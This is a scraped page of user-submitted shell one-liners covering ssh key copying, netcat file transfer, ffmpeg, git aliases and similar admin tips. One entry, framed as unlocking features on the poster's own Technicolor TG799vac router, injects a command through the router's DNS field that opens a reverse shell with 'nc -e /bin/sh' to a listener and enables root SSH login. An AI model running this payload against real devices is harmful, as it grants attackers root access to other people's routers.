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Perl One Liner to Generate a Random IP Address
This is sample output - yours may be different.
0

perl -le '$,=".";print map int rand 256,1..4'

depesz · 2011-01-16 16:56:44 3
Join lines split with backslash at the end

Show Sample Output
This is sample output - yours may be different.
```
# tr -d '\\' <<END | tr -d '\n'
Hello \\
world!
END
>> Hello world!

or 

echo 'scale=70; 127/131' | bc | tr -d '\\' | tr -d '\n'
.9694656488549618320610687022900763358778625954198473282442748091603053
```
0

tr -d '\\' | tr -d '\n'

tongrider · 2011-10-13 17:40:02 7
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id

chmod authorized_keys so you don't get "Authentication refused: bad ownership or modes for file /home/user/.ssh/authorized_keys"
This is sample output - yours may be different.
0

cat ~/.ssh/id_rsa.pub | ssh tester@10.2.6.10 "mkdir -p ~/.ssh; cat >> ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"

unixmonkey37839 · 2012-07-18 04:41:54 12
Change my shell to zsh
This is sample output - yours may be different.
0

sudo usermod -s `which zsh` `whoami`

frankowp · 2012-09-11 21:58:01 8
netcat - send tar archive remotely (sending side)

Tar's up $DIR locally (w/bzip2) and sends remotely to $HOST:$PORT where netcat listens (using openbsd netcat). Start up receiving side command first, then execute this.
This is sample output - yours may be different.
0

tar -cjf - $DIR | nc $HOST $PORT

taintedkernel · 2012-11-13 16:44:26 5
find the number of files, date masked

RU: Найдет число файлов в папке по данной маске в цикле по дням месяца
This is sample output - yours may be different.
0

for i in {1..31}; do ls -1 *${YYYY}${MM}`printf "%02d" $i`* | wc -l; done

Paulus · 2013-07-26 07:08:04 8
Chrome, toggle default CSS style sheet

A very simple command to toggle Chrome?s default style sheet. It uses the test command to see if the "Custom.css.off" file exists, if so, it will become "Custom.css", and if not, "Custom.css" is moved to "Custom.css.off" Thus, swapping. This is accomplished with "&&" and "||"
This is sample output - yours may be different.
0

CSS=$HOME/.config/google-chrome/Default/User\ StyleSheets/Custom.css sh -c 'test -f "$CSS.off" && mv "$CSS.off" "$CSS" || mv "$CSS" "$CSS.off"'

Romero · 2013-10-06 00:38:00 7
Remove .sh file extension for files in current directory

The 'rename' command with the first argument as "'s/\.//'" and the second argument as "" will remove the specified extension from the filenames.
This is sample output - yours may be different.
0

rename 's/\.sh//' ./*

abhikeny · 2014-04-02 16:33:25 6
A function to find a file in the pwd downwards

A simple bash function to the find command. I use this much more than find itself. Show Sample Output
This is sample output - yours may be different.
```
$ fn resume
./Documents/2013/My Resume 2014.pdf
```
0

fn() { find . -iname "*$1*" -print; }

suprjami · 2014-07-15 05:30:59 8
Alias for git merge

Merge remote into local of current branch. Show Sample Output
This is sample output - yours may be different.
```
Merge complete or something.
```
0

alias gm="git merge"

taystack · 2015-02-26 23:42:08 10
Reset the favorite-scopes on the Ubuntu Phone

To fix this bug: https://bugs.launchpad.net/ubuntu/+source/unity8/+bug/1389698
This is sample output - yours may be different.
0

gsettings reset com.canonical.Unity.Dash favorite-scopes

bugmenot · 2016-02-07 17:50:19 12
Check executable shared library usage
This is sample output - yours may be different.
0

ldd `which executable_program`

z3l3man_zn · 2016-08-17 03:49:16 14
crop video using ffmpeg
This is sample output - yours may be different.
0

ffmpeg -i my-demo-video.avi -filter:v "crop=820:750:200:0" -qscale 0 my-demo-video_cropped.avi

ceddi · 2016-10-17 19:03:20 20
Empty a file with better compatibility

Same as `>`, except that the file is truncated to zero length if it exists, even if CLOBBER is unset. This works whatever your shell is and whatever your OS is. The most upvoted answer does not work with ZSH by default. The truncate version does not work on MacOS (and probably others).
This is sample output - yours may be different.
0

:>! filename

_who · 2017-04-21 15:51:01 22
Hacking the Technicolor TG799vac (and unlocking features for openwrt)

Find more info about this hack on my github https://github.com/wuseman/TG799VAC-XTREME-17.2-MINT - Setup a netcat listener 'nc -lvvp 1337' and then from dns field on your technicolor router run the command below and turn dns ON and wait for the magic.. Show Sample Output
This is sample output - yours may be different.
```
https://raw.githubusercontent.com/wuseman/TG799VAC-XTREME-17.2-MINT/master/files/short-version.gif
```
0

::::::;nc 192.168.1.144 1337 -e /bin/sh;rm /etc/dropbear/*;uci set dropbear.lan.PasswordAuth='on';uci set dropbear.lan.RootPasswordAuth='on';uci set dropbear.lan.Interface='lan';uci set dropbear.lan.enable='1';/etc/init.d/dropbear restart; uci commit

wuseman1 · 2018-11-12 02:02:43 340
ifrename

rename a network interface e.g. make eth0 eth1 or vice versa the interface needs to be down -> "/sbin/ifconfig oldname down"
This is sample output - yours may be different.
0

busybox nameif newname $(</sys/class/net/oldname/address)

patrick2000 · 2010-05-15 10:24:57 7
A bash function to show the files most recently modified in the named (or current) directory

Returns the most recently modified file in the current (or specified) directory. You can also get the oldest file, via: ls -t1 $* | tail-1 ;
This is sample output - yours may be different.
0

ls -t1 $* | head -1 ;

darkhorse9933 · 2012-02-10 22:13:24 6
Realtime lines per second in a log file

Realtime lines per second in a log file using python ... identical to perl version, except python is much better :) Show Sample Output
This is sample output - yours may be different.
```
27
49
36
36
29
33
33
32
43
31
40
35
43
39
37
38
28
34
31
48
46
37
35
```
0

tail -F /var/log/nginx/access.log | python -c 'exec("import sys,time\nl=0\ne=int(time.time())\nfor line in sys.stdin:\n\tt = int(time.time())\n\tl += 1\n\tif t > e:\n\t\te = t\n\t\tprint l\n\t\tl = 0")'

pykler · 2012-05-15 21:56:46 4
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id

chmod authorized_keys so you don't get "Authentication refused: bad ownership or modes for file /home/user/.ssh/authorized_keys"
This is sample output - yours may be different.
0

cat ~/.ssh/id_rsa.pub | ssh tester@10.2.6.10 "mkdir -p ~/.ssh; cat >> ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"

unixmonkey37839 · 2012-07-18 04:41:55 6
server's host key is not cached in the registry
This is sample output - yours may be different.
0

plink -agent gist.github.com

evandrix · 2012-09-12 00:22:39 4
netcat - receive tar archive remotely

Receives bzip'd tar archive via netcat (openbsd nc) and stores locally. Displays size with pv. Start this receiver first, then the sender.
This is sample output - yours may be different.
0

nc -l $PORT | pv -b > archive.tar.bz2

taintedkernel · 2012-11-13 16:47:45 4
change file format at one time
This is sample output - yours may be different.
0

find $(YourPATH) -type f -exec dos2unix '{}' \;

chenhow1985 · 2013-07-26 09:07:35 7
print all available make targets
This is sample output - yours may be different.
0

make --print-data-base --dry-run | awk -F':' '/^[a-zA-Z0-9][^$#\/\t=]*:([^=]|$)/ {split($1,A,/ /);for(i in A)print A[i]}'

grapsus · 2013-10-07 12:39:25 6
List members of a group
This is sample output - yours may be different.
0

dsquery group -samid "Group_SAM_Account_Name" | dsget group -members -expand

shawn_abdushakur · 2014-01-10 15:04:54 6
Check your internet connection by pinging Google
This is sample output - yours may be different.
0

ping -c 3 google.com

nicolasmccurdy · 2014-07-16 02:01:01 8
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Comparison between the execution output of the last and penultimate command

Useful for checking if there are differences between last and penultimate command.

Create MySQL-Dump, copy db to other Server and upload the db.

This option makes a copy of your current db and via ssh it transfer to the server you specify and upload the database to the specific User & Password you specify (Note the db User & Pass, can be different from the one you use in the other server) If you are going to use "localhost" as your main db remove (-h) and youst add "localhost"

Read choice from user instantaneously

Usage exaple cmd $echo 'Sure to continue ??'; read -n1 choi; if [ "$choi" = 'y' ] || [ "$choi" = 'Y' ]; then echo -e '\nExecuting..'; else echo 'Aborted'; fi

Remove a line from a file using sed (useful for updating known SSH server keys when they change)

For example, to remove line 5 from foo, type: vi +5d +wq foo

Find the dates your debian/ubuntu packages were installed.

Find when debian packages were installed on a system.

Get the size of all the directories in current directory

Create an alias, store it in ~/.bash_aliases and source your new alias into the ~/.bashrc

This is useful if you use a shell with a lot of other users. You will be able to run "topu" to see your running processes instead of the complete 'top -u username'. Read more on alias: http://man.cx/alias

Debug bash shell scripts.

Display commands and their arguments as they are executed. Useful for debugging shell scripts.

copy from host1 to host2, through your host

Good if only you have access to host1 and host2, but they have no access to your host (so ncat won't work) and they have no direct access to each other.

a trash function for bash

Every rm'ed a file you needed? Of course you haven't. But I have. I got sick of it so I created a bash function. Here it is. It'll put trashed files into a $HOME/.Trash/"date" folder according to the date. I have rm aliased to it as well in my bashrc so that I still use the rm command. It'll choke if you attempt to trash a directory if that directory name is already in the Trash. This rarely happens in my case but it's easy enough to add another test and to mv the old dir if necessary. function trash(){ if [ -z "$*" ] ; then echo "Usage: trash filename" else DATE=$( date +%F ) [ -d "${HOME}/.Trash/${DATE}" ] || mkdir -p ${HOME}/.Trash/${DATE} for FILE in $@ ; do mv "${FILE}" "${HOME}/.Trash/${DATE}" echo "${FILE} trashed!" done fi }

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